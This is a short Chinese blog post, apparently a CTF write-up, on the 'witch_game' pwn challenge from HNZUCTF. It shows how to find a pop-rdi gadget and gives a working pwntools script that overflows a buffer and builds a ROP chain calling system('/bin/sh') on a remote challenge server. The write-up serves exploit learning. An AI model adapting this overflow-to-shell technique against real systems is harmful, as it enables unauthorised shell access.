HNZUCTF---witch_game

PWN题真的恶心。这里面给了system函数,但是字符串是date,没有/bin/sh,所以需要手动输入。
这里第一个输入就把/bin/sh输入进去
image
地址在这里。然后去找gadget,
**x64要执行system("/bin/sh")的常见方法就是把rdi寄存器赋为"/bin/sh"的地址 然后调用system **
image

这里的语法是ROPgadget --binary filename --only "pop|ret"
pop|ret主要看需求是什么
脚本在这
from pwn import *

io=remote("121.40.181.50",10003)

elf=ELF("witch_game")

io.send('/bin/sh')

pop_rdi_ret=0x00000000004008a3

binsh=0x601090

payload='a'*(16+8)+p64(pop_rdi_ret)+p64(binsh)+p64(elf.sym["system"])

io.send(payload)

io.interactive()

posted @ 2022-03-30 21:24  REPWNER  阅读(4)  评论(0)    收藏  举报